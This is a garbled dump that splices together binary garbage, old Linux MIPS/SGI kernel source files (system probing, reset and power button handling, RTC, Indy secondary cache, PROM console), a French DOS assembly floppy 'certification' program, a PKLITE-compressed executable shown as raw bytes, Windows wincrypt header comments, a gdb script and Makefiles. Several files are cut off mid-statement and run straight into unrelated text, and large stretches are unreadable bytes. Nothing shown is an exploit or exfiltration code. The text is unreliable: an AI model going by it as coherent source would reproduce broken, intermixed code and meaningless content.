G;#ʝW)t''r''C |1!p<%̛#HGD<5;x3#o` {S_yc_o}isQwJ!Lߗ!?tl!Ֆe:P]_ ;(ǿwPn"GGEnUHJOy!dy_ aCOB#2|"2|xwM[#'E>gG$w #%HTjgRcc/ [!|Fdp{W% m:XJ>&55&vd/ k^<ǩ"GYzx+aFd_%Ç2|dS𱮿2_|e7K/G>iƀi#?4Vr5Jw aN!O / #C}1 >ۿ;r}:أ_>]y(wn*+5½]=)xd*G]Z}k8Ӹ.~wRnz*#qJ߶S'?B (qRJ@{n(g-._Z|jaSmgCR'xЧs?tv,+_O};s |{܀~wsҺzoN7P~?5<~_Io6lN. R-oZZҢ?s^^J H zru(WH=f_r}gl{߱/xs_[o֧UBzJ6}:KZ:r}7|~?{x۟R.9O֪ؾj7Jo!c!7k׵~ r} 0#s,M5|J}& b/|j2K4Іh&DqwkL彯: |߿zfO/* * system.c: Probe the system type using ARCS prom interface library. * * Copyright (C) 1996 David S. Miller (dm@engr.sgi.com) * * $Id: system.c,v 1.7 1998/10/18 22:55:34 tsbogend Exp $ */ #include #include #include #include #include #include #include enum sgi_mach sgimach; struct smatch { char *name; int type; }; static struct smatch sgi_cputable[] = { { "MIPS-R2000", CPU_R2000 }, { "MIPS-R3000", CPU_R3000 }, { "MIPS-R3000A", CPU_R3000A }, { "MIPS-R4000", CPU_R4000SC }, { "MIPS-R4400", CPU_R4400SC }, { "MIPS-R4600", CPU_R4600 }, { "MIPS-R8000", CPU_R8000 }, { "MIPS-R5000", CPU_R5000 }, { "MIPS-R5000A", CPU_R5000A } }; #define NUM_CPUS 9 /* for now */ __initfunc(static int string_to_cpu(char *s)) { int i; for(i = 0; i < NUM_CPUS; i++) { if(!strcmp(s, sgi_cputable[i].name)) return sgi_cputable[i].type; } prom_printf("\nYeee, could not determine MIPS cpu type <%s>\n", s); prom_printf("press a key to reboot\n"); prom_getchar(); romvec->imode(); return 0; } /* * We' call this early before loadmmu(). If we do the other way around * the firmware will crash and burn. */ __initfunc(void sgi_sysinit(void)) { pcomponent *p, *toplev, *cpup = 0; int cputype = -1; /* The root component tells us what machine architecture we * have here. */ p = prom_getchild(PROM_NULL_COMPONENT); /* Now scan for cpu(s). */ toplev = p = prom_getchild(p); while(p) { int ncpus = 0; if(p->type == Cpu) { if(++ncpus > 1) { prom_printf("\nYeee, SGI MP not ready yet\n"); prom_printf("press a key to reboot\n"); prom_getchar(); romvec->imode(); } printk("CPU: %s ", p->iname); cpup = p; cputype = string_to_cpu(cpup->iname); } p = prom_getsibling(p); } if(cputype == -1) { prom_printf("\nYeee, could not find cpu ARCS component\n"); prom_printf("press a key to reboot\n"); prom_getchar(); romvec->imode(); } p = prom_getchild(cpup); while(p) { switch(p->class) { case processor: switch(p->type) { case Fpu: printk("FPU<%s> ", p->iname); break; default: break; }; break; case cache: switch(p->type) { case picache: printk("ICACHE "); break; case pdcache: printk("DCACHE "); break; case sccache: printk("SCACHE "); break; default: break; }; break; default: break; }; p = prom_getsibling(p); } printk("\n"); } /* $Id: reset.c,v 1.6 1999/04/10 12:21:30 ulfc Exp $ * * Reset a SGI. * * This file is subject to the terms and conditions of the GNU General Public * License. See the file "COPYING" in the main directory of this archive * for more details. * * Copyright (C) 1997, 1998 by Ralf Baechle */ #include #include #include #include #include #include #include #include #include #include #include /* * Just powerdown if init hasn't done after POWERDOWN_TIMEOUT seconds. * I'm not shure if this feature is a good idea, for now it's here just to * make the power button make behave just like under IRIX. */ #define POWERDOWN_TIMEOUT 120 /* * Blink frequency during reboot grace period and when paniced. */ #define POWERDOWN_FREQ (HZ / 4) #define PANIC_FREQ (HZ / 8) static unsigned char sgi_volume; static struct timer_list power_timer, blink_timer, debounce_timer, volume_timer; static int shuting_down, has_paniced; static void sgi_machine_restart(char *command) __attribute__((noreturn)); static void sgi_machine_halt(void) __attribute__((noreturn)); static void sgi_machine_power_off(void) __attribute__((noreturn)); /* XXX How to pass the reboot command to the firmware??? */ static void sgi_machine_restart(char *command) { if (shuting_down) sgi_machine_power_off(); prom_reboot(); } static void sgi_machine_halt(void) { if (shuting_down) sgi_machine_power_off(); prom_imode(); } static void sgi_machine_power_off(void) { struct indy_clock *clock = (struct indy_clock *)INDY_CLOCK_REGS; cli(); clock->cmd |= 0x08; /* Disable watchdog */ clock->whsec = 0; clock->wsec = 0; while(1) { hpc3mregs->panel=0xfe; /* Good bye cruel world ... */ /* If we're still running, we probably got sent an alarm interrupt. Read the flag to clear it. */ clock->halarm; } } static void power_timeout(unsigned long data) { sgi_machine_power_off(); } static void blink_timeout(unsigned long data) { /* XXX fix this for fullhouse */ sgi_hpc_write1 ^= (HPC3_WRITE1_LC0OFF|HPC3_WRITE1_LC1OFF); hpc3mregs->write1 = sgi_hpc_write1; del_timer(&blink_timer); blink_timer.expires = jiffies + data; add_timer(&blink_timer); } static void debounce(unsigned long data) { del_timer(&debounce_timer); if (ioc_icontrol->istat1 & 2) { /* Interrupt still being sent. */ debounce_timer.expires = jiffies + 5; /* 0.05s */ add_timer(&debounce_timer); hpc3mregs->panel = 0xf3; return; } if (has_paniced) prom_reboot(); enable_irq(9); } static inline void power_button(void) { if (has_paniced) return; if (shuting_down || kill_proc(1, SIGINT, 1)) { /* No init process or button pressed twice. */ sgi_machine_power_off(); } shuting_down = 1; blink_timer.data = POWERDOWN_FREQ; blink_timeout(POWERDOWN_FREQ); init_timer(&power_timer); power_timer.function = power_timeout; power_timer.expires = jiffies + POWERDOWN_TIMEOUT * HZ; add_timer(&power_timer); } void inline sgi_volume_set(unsigned char volume) { sgi_volume = volume; hpc3c0->pbus_extregs[2][0] = sgi_volume; hpc3c0->pbus_extregs[2][1] = sgi_volume; } void inline sgi_volume_get(unsigned char *volume) { *volume = sgi_volume; } static inline void volume_up_button(unsigned long data) { del_timer(&volume_timer); if (sgi_volume < 0xff) sgi_volume++; hpc3c0->pbus_extregs[2][0] = sgi_volume; hpc3c0->pbus_extregs[2][1] = sgi_volume; if (ioc_icontrol->istat1 & 2) { volume_timer.expires = jiffies + 1; add_timer(&volume_timer); } } static inline void volume_down_button(unsigned long data) { del_timer(&volume_timer); if (sgi_volume > 0) sgi_volume--; hpc3c0->pbus_extregs[2][0] = sgi_volume; hpc3c0->pbus_extregs[2][1] = sgi_volume; if (ioc_icontrol->istat1 & 2) { volume_timer.expires = jiffies + 1; add_timer(&volume_timer); } } static void panel_int(int irq, void *dev_id, struct pt_regs *regs) { unsigned int buttons; buttons = hpc3mregs->panel; hpc3mregs-TITLE Programme certifiant 1 hd au format RingFence ### Basic version ### .model Small .code dosseg org 100h start: mov ah,09h mov dx,offset TEXT2 int 21h xor ah,ah int 16h mov di,5349h mov si,4e47h mov ax,3009h xor dx,dx int 13h mov ah,09h mov dx,offset TEXT int 21h mov ax,4c00h int 21h TEXT db 13,10,"Voila la disquette est maintenant certifiee !!! $" TEXT2 db 13,10,"Placer le disk a certifier et appueyr sur 1 touche (lec A:)$" end start 9Iiɻ 9d",U1Oùa"j]:vp k 4󻑉\[Աcp39D,(,( %7~'dhGjMv[ʳ!,m'<[l3ڶvl3T1Pa4w hyHaWj$n~Lz\dC_t.R\fEO#ur , M*Ü!ɓ|Y9(usƗ}r?bh.-R d?Q[`Ty"Sqokr|0Vp'ŃGEkT;{YQ5dV'35,%H<|.A?z^9dր@QT*$lOEq$́.'4 o G]x}(A vOArZojm- [w4Y f_1k襹*'b8.pPn$Ȅ6R!3JǧRF&vULR yn_mٿ*C * gAcyED2*Mɣu%8fRٶ @yB#IMIYκZyocAh7LoLu$d(X_<7{Č[vŅÌ Zғ]\o4ж!Q98TYHMLb"Ɯyrjl6,tZDEI.kwo,V47^xxL_|_3TkcNSɦI}%HA;t5qI4|!-iB C3f#Kڔ&,E_SAZ,c5"{a:] -(購y #include static unsigned char indy_rtc_read_data(unsigned long addr) { volatile unsigned int *rtcregs = (void *)INDY_CLOCK_REGS; return rtcregs[addr]; } static void indy_rtc_write_data(unsigned char data, unsigned long addr) { volatile unsigned int *rtcregs = (void *)INDY_CLOCK_REGS; rtcregs[addr] = data; } static int indy_rtc_bcd_mode(void) { return 0; } struct rtc_ops indy_rtc_ops = { &indy_rtc_read_data, &indy_rtc_write_data, &indy_rtc_bcd_mode }; /* $Id: indy_sc.c,v 1.9 1999/05/12 21:57:49 ulfc Exp $ * * indy_sc.c: Indy cache managment functions. * * Copyright (C) 1997 Ralf Baechle (ralf@gnu.org), * derived from r4xx0.c by David S. Miller (dm@engr.sgi.com). */ #include #include #include #include #include #include #include #include #include #include #include #include #include /* Secondary cache size in bytes, if present. */ static unsigned long scache_size; #undef DEBUG_CACHE #define SC_SIZE 0x00080000 #define SC_LINE 32 #define CI_MASK (SC_SIZE - SC_LINE) #define SC_ROUND(n) ((n) + SC_LINE - 1) #define SC_INDEX(n) ((n) & CI_MASK) static inline void indy_sc_wipe(unsigned long first, unsigned long last) { __asm__ __volatile__(" .set noreorder .set mips3 .set noat mfc0 $2, $12 li $1, 0x80 # Go 64 bit mtc0 $1, $12 dli $1, 0x9000000080000000 or %0, $1 # first line to flush or %1, $1 # last line to flush .set at 1: sw $0, 0(%0) bne %0, %1, 1b daddu %0, 32 mtc0 $2, $12 # Back to 32 bit nop; nop; nop; nop; .set mips0 .set reorder" : /* no output */ : "r" (first), "r" (last) : "$1"); } static void indy_sc_wback_invalidate(unsigned long addr, unsigned long size) { unsigned long first_line, last_line; unsigned int flags; #ifdef DEBUG_CACHE printk("indy_sc_wback_invalidate[%08lx,%08lx]", addr, size); #endif /* Which lines to flush? */ first_line = SC_INDEX(addr); if (size <= SC_LINE) last_line = SC_INDEX(addr); else last_line = SC_INDEX(addr + size - 1); __save_and_cli(flags); if (first_line <= last_line) { indy_sc_wipe(first_line, last_line); goto out; } /* Cache index wrap around. Due to the way the buddy system works this case should not happen. We're prepared to handle it, though. */ indy_sc_wipe(first_line, SC_SIZE - SC_LINE); indy_sc_wipe(0, last_line); out: __restore_flags(flags); } static void indy_sc_enable(void) { unsigned long addr, tmp1, tmp2; /* This is really cool... */ #ifdef DEBUG_CACHE printk("Enabling R4600 SCACHE\n"); #endif __asm__ __volatile__(" .set noreorder .set mips3 mfc0 %2, $12 nop; nop; nop; nop; li %1, 0x80 mtc0 %1, $12 nop; nop; nop; nop; li %0, 0x1 dsll %0, 31 lui %1, 0x9000 dsll32 %1, 0 or %0, %1, %0 sb $0, 0(%0) mtc0 $0, $12 nop; nop; nop; nop; mtc0 %2, $12 nop; nop; nop; nop; .set mips0 .set reorder" : "=r" (tmp1), "=r" (tmp2), "=r" (addr)); } static void indy_sc_disable(void) { unsigned long tmp1, tmp2, tmp3; #ifdef DEBUG_CACHE printk("Disabling R4600 SCACHE\n"); #endif __asm__ __volatile__(" .set noreorder .set mips3 li %0, 0x1 dsll %0, 31 lui %1, 0x9000 dsll32 %1, 0 or %0, %1, %0 mfc0 %2, $12 nop; nop; nop; nop; li %1, 0x80 mtc0 %1, $12 nop; nop; nop; nop; sh $0, 0(%0) mtc0 $0, $12 nop; nop; nop; nop; mtc0 %2, $12 nop; nop; nop; nop; .set mips2 .set reorder " : "=r" (tmp1), "=r" (tmp2), "=r" (tmp3)); } __initfunc(static inline int indy_sc_probe(void)) { volatile unsigned int *cpu_control; unsigned short cmd = 0xc220; unsigned long data = 0; int i, n; #ifdef __MIPSEB__ cpu_control = (volatile unsigned int *) KSEG1ADDR(0x1fa00034); #else cpu_control = (volatile unsigned int *) KSEG1ADDR(0x1fa00030); #endif #define DEASSERT(bit) (*(cpu_control) &= (~(bit))) #define ASSERT(bit) (*(cpu_control) |= (bit)) #define DELAY for(n = 0; n < 100000; n++) __asm__ __volatile__("") DEASSERT(SGIMC_EEPROM_PRE); DEASSERT(SGIMC_EEPROM_SDATAO); DEASSERT(SGIMC_EEPROM_SECLOCK); DEASSERT(SGIMC_EEPROM_PRE); DELAY; ASSERT(SGIMC_EEPROM_CSEL); ASSERT(SGIMC_EEPROM_SECLOCK); for(i = 0; i < 11; i++) { if(cmd & (1<<15)) ASSERT(SGIMC_EEPROM_SDATAO); else DEASSERT(SGIMC_EEPROM_SDATAO); DEASSERT(SGIMC_EEPROM_SECLOCK); ASSERT(SGIMC_EEPROM_SECLOCK); cmd <<= 1; } DEASSERT(SGIMC_EEPROM_SDATAO); for(i = 0; i < (sizeof(unsigned short) * 8); i++) { unsigned int tmp; DEASSERT(SGIMC_EEPROM_SECLOCK); DELAY; ASSERT(SGIMC_EEPROM_SECLOCK); DELAY; data <<= 1; tmp = *cpu_control; if(tmp & SGIMC_EEPROM_SDATAI) data |= 1; } DEASSERT(SGIMC_EEPROM_SECLOCK); DEASSERT(SGIMC_EEPROM_CSEL); ASSERT(SGIMC_EEPROM_PRE); ASSERT(SGIMC_EEPROM_SECLOCK); data <<= PAGE_SHIFT; if (data == 0) return 0; scache_size = data; printk("R4600/R5000 SCACHE size %ldK, linesize 32 bytes.\n", scache_size >> 10); return 1; } /* XXX Check with wje if the Indy caches can differenciate between writeback + invalidate and just invalidate. */ struct bcache_ops indy_sc_ops = { indy_sc_enable, indy_sc_disable, indy_sc_wback_invalidate, indy_sc_wback_invalidate }; __initfunc(void indy_sc_init(void)) { if (indy_sc_probe()) { indy_sc_enable(); bcops = &indy_sc_ops; } } /* * Wrap-around code for a console using the * SGI PROM io-routines. * * Copyright (c) 1999 Ulf Carlsson * * Derived from DECstation promcon.c * Copyright (c) 1998 Harald Koerfgen */ #include #include #include #include #include #include #include static void prom_console_write(struct console *co, const char *s, unsigned count) { unsigned i; /* * Now, do each character */ for (i = 0; i < count; i++) { if (*s == 10) prom_printf("%c", 13); prom_printf("%c", *s++); } } static int prom_console_wait_key(struct console *co) { return prom_getchar(); } __initfunc(static int prom_console_setup(struct console *co, char *options)) { return 0; } static kdev_t prom_console_device(struct console *c) { return MKDEV(TTY_MAJOR, 64 + c->index); } static struct console sercons = { "ttyS", prom_console_write, NULL, prom_console_device, prom_console_wait_key, NULL, prom_console_setup, CON_PRINTBUFFER, -1, 0, NULL }; /* * Register console. */ __initfunc(long sgi_prom_console_init(long kmem_start, long kmem_end)) { register_console(&sercons); return kmem_start; } @ .( ..AMakefileBoffset.c# Makefile for MIPS kernel build tools. # # Copyright (C) 1996 David S. Miller (dm@engr.sgi.com) # Copyright (C) 1997 Ralf Baechle (ralf@gnu.ai.mit.edu) # # $Id: Makefile,v 1.2 1997/12/01 17:57:41 ralf Exp $ # TARGET := $(TOPDIR)/include/asm-$(ARCH)/offset.h .S.s: $(CPP) $(CFLAGS) $< -o $*.s .S.o: $(CC) $(CFLAGS) -c $< -o $*.o all: $(TARGET) $(TARGET): offset.h cmp -s $^ $@ || (cp $^ $(TARGET).new && mv $(TARGET).new $(TARGET)) offset.h: offset.s sed -n '/^@@@/s///p' $^ >$@ offset.s: offset.c clean: rm -f offset.[hs] $(TARGET).new include $(TOPDIR)/Rules.make MZ iR PKLITE Copr. 1990-91 PKWARE Inc. All Rights Reserved  >PjrO_;s- -P3WD˴ 2! Not enough memory$S-ڌ͋€NN++؎Ŏ3,56;]^_rJts33JtJtӅtJtӀr Ju.` tu3ۃt*Jtr#JtJtJuӀs.pV+^JuӀrJuӀrJuӁ뼬Ȁ D.tRF.1O'w2ORNw5O3OCer( NfiOundisquette.'OIPOPour plusL'inform2@scr) kr.fNȋQQuitTtlair({CxׂO(NCY by PiXtel4AH۲ g O6O v$O9 Oۃ$Ӡ<O?OBen la tu m0toutBı veux...&DGrMuc. @Et j'Fvoi0eja7nir4thns HUOuah,AVs\me po bmo_ graph=iLyaB=@5music !{Pexe8XmpleΑ@Hcr4Bk !r)LibroRF' f΢ apEolP-mcaI(progradiwnel,uƮGcBh٠uLe j@U ! $( .'Insrez(jc rQ"p!ss$hA7che7U9I€^*PXo#* ĄemI)F$  z2 L7ɔu|2i 9Үˬ&m|O<%LcdSfW6d, 4hrv2r:ڡBZ6-C`CkoL ΅KɈT Yo>gRT I*ȑjtVd`\SbG$cI [qm$ $I:eJZH 6@A+J)SWYad69dS#@@6:-K1ۢkv+N1BĠ@'|\r&ʍ^qk#R /H pLW>#`$]<76Usfz0<:vRyO }adyJ/tD,;NhsJˎkd@CCjx d-''iXey=fq@G7%$T$ aMR%4^6"Bܔ"%rl x[J&e TN3L0t H4 8OXQAmFW݁86#IY*/WpF;nRݨ3;ZHۙ2+DDUn1y… :y{ DnL!F+MЗHKdyF96[dՀMQ`ZJ }$mMIo mUm񉱖DjXd3jIq)Dff͏Ti X/nlȌc@"9fw. ۓcOsilB2r Econtains // the content type as one of the the following: // CERT_QUERY_CONTENT_CERT // CERT_QUERY_CONTENT_CTL // CERT_QUERY_CONTENT_CRL // CERT_QUERY_CONTENT_SERIALIZED_STORE // CERT_QUERY_CONTENT_SERIALIZED_CERT // CERT_QUERY_CONTENT_SERIALIZED_CTL // CERT_QUERY_CONTENT_SERIALIZED_CRL // CERT_QUERY_CONTENT_PKCS7_SIGNED // CERT_QUERY_CONTENT_PKCS7_UNSIGNED // CERT_QUERY_CONTENT_PKCS7_SIGNED_EMBED // CERT_QUERY_CONTENT_PKCS10 // CERT_QUERY_CONTENT_PFX // // OUTPUT pdwFormatType // Optional output. If NULL !=pdwFormatType, it // contains the format type of the content as one of the // following: // CERT_QUERY_FORMAT_BINARY // CERT_QUERY_FORMAT_BASE64_ENCODED // // // OUTPUT phCertStore // Optional output. If NULL !=phStore, // it contains a cert store that includes all of certificates, // CRL, and CTL in the object if the object content type is // one of the following: // CERT_QUERY_CONTENT_CERT // CERT_QUERY_CONTENT_CTL // CERT_QUERY_CONTENT_CRL // CERT_QUERY_CONTENT_SERIALIZED_STORE // CERT_QUERY_CONTENT_SERIALIZED_CERT // CERT_QUERY_CONTENT_SERIALIZED_CTL // CERT_QUERY_CONTENT_SERIALIZED_CRL // CERT_QUERY_CONTENT_PKCS7_SIGNED // CERT_QUERY_CONTENT_PKCS7_SIGNED_EMBED // // Caller should free *phCertStore via CertCloseStore. // // // OUTPUT phMsg Optional output. If NULL != phMsg, // it contains a handle to a opened message if // the content type is one of the following: // CERT_QUERY_CONTENT_PKCS7_SIGNED // CERT_QUERY_CONTENT_PKCS7_UNSIGNED // CERT_QUERY_CONTENT_PKCS7_SIGNED_EMBED // // Caller should free *phMsg via CryptMsgClose. // // OUTPUT pContext Optional output. If NULL != pContext, // it contains either a PCCERT_CONTEXT or PCCRL_CONTEXT, // or PCCTL_CONTEXT based on the content type. // // If the content type is CERT_QUERY_CONTENT_CERT or // CERT_QUERY_CONTENT_SERIALIZED_CERT, it is a PCCERT_CONTEXT; // Caller should free the pContext via CertFreeCertificateContext. // // If the content type is CERT_QUERY_CONTENT_CRL or // CERT_QUERY_CONTENT_SERIALIZED_CRL, it is a PCCRL_CONTEXT; // Caller should free the pContext via CertFreeCRLContext. // // If the content type is CERT_QUERY_CONTENT_CTL or // CERT_QUERY_CONTENT_SERIALIZED_CTL, it is a PCCTL_CONTEXT; // Caller should free the pContext via CertFreeCTLContext. // // If the *pbObject is of type CERT_QUERY_CONTENT_PKCS10 or CERT_QUERY_CONTENT_PFX, CryptQueryObject // will not return anything in *phCertstore, *phMsg, or *ppvContext. //-------------------------------------------------------------------------- WINCRYPT32API BOOL WINAPI CryptQueryObject( DWORD dwObjectType, const void *pvObject, DWORD dwExpectedContentTypeFlags, DWORD dwExpectedFormatTypeFlags, DWORD echo Setting up the environment for debugging vmlinux...\n echo set remotedebug 0 \n set remotedebug 0 echo cd arch/mips/kernel \n cd arch/mips/kernel echo target remote /dev/ttyS0 \n target remote /dev/ttyS0 D .( ..EREADMEThe code for the Algorithmics P4032 evaluation board is currently under development. I'll release it when it's up to the same strength as the other ports. Ralf F .( ..GMakefileH cmdline.cI console.cJenv.cKfile.cL identify.cMinit.cNmemory.cOmisc.cPprintf.cQsalone.cRtime.cStree.c# $Id: Makefile,v 1.1 1998/10/18 13:32:08 tsbogend Exp $ # Makefile for the SGI arcs prom monitor library routines # under Linux. # # Note! Dependencies are done automagically by 'make dep', which also # removes any old dependencies. DON'T put your own dependencies here # unless it's something special (ie not a .c file). # # Note 2! The CFLAGS definitions are now in the main makefile... OBJS = console.o init.o printf.o memory.o tree.o env.o \ cmdline.o misc.o time.o file.o identify.o all: arclib.a arclib.a: $(OBJS) $(AR) rcs arclib.a $(OBJS) sync dep: $(CPP) -M *.c > .depend include $(TOPDIR)/Rules.make